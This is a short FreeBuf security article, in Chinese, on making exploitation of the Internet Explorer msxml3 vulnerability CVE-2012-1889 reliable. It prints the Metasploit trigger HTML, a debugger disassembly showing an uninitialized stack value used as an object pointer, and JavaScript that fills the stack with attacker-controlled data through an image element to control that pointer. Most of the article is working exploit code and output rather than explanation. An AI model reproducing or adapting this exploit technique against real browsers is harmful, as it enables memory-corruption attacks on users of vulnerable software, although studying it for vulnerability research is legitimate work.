freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

IE漏洞CVE-2012-1889的稳定利用
2012-06-18 12:16:17

MSF的触发代码如下: 触发时的代码如下:


<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx">
</object>
<script>
document.getElementById("xx").object.definition(0);
</script>


0:015> u 5dd8d7c9  L50
msxml3!_dispatchImpl::InvokeHelper+0x93:
5dd8d7c9 8b45ec          mov     eax,dword ptr [ebp-14h]
5dd8d7cc 3bc3            cmp     eax,ebx
5dd8d7ce 8bf0            mov     esi,eax
5dd8d7d0 7426            je      msxml3!_dispatchImpl::InvokeHelper+0xc2 (5dd8d7f8)
5dd8d7d2 ff7528          push    dword ptr [ebp+28h]
5dd8d7d5 8b08            mov     ecx,dword ptr [eax]
5dd8d7d7 ff7524          push    dword ptr [ebp+24h]
5dd8d7da ff7520          push    dword ptr [ebp+20h]
5dd8d7dd 57              push    edi
5dd8d7de 6a03            push    3
5dd8d7e0 ff7514          push    dword ptr [ebp+14h]
5dd8d7e3 6870a8d85d      push    offset msxml3!GUID_NULL (5dd8a870)
5dd8d7e8 53              push    ebx
5dd8d7e9 50              push    eax
5dd8d7ea ff5118          call    dword ptr [ecx+18h]

其中 5dd8d7c9 8b45ec mov eax,dword ptr [ebp-14h] 中 eax的值来自于栈上,栈上的值未经初始化,被直接用做对象指针后就会出现问题。要稳定利用该漏洞,就需要对eax的值进行控制,只要预先在栈上排布我们要的数据就可以,比如 unescape("%u1111%u1111")。以下代码可以实现该功能: 执行完 pic.nameProp 后,就会在栈上留下0x2000左右大小的可控数据。

var src = unescape("%u1111%u1111");
while (src.length &lt; 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;

 

相关阅读:暴雷漏洞(CVE-2012-1889)Metasploit利用代码 出自:Inking

本文作者:, 转载请注明来自FreeBuf.COM

# CVE-2012-1889
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑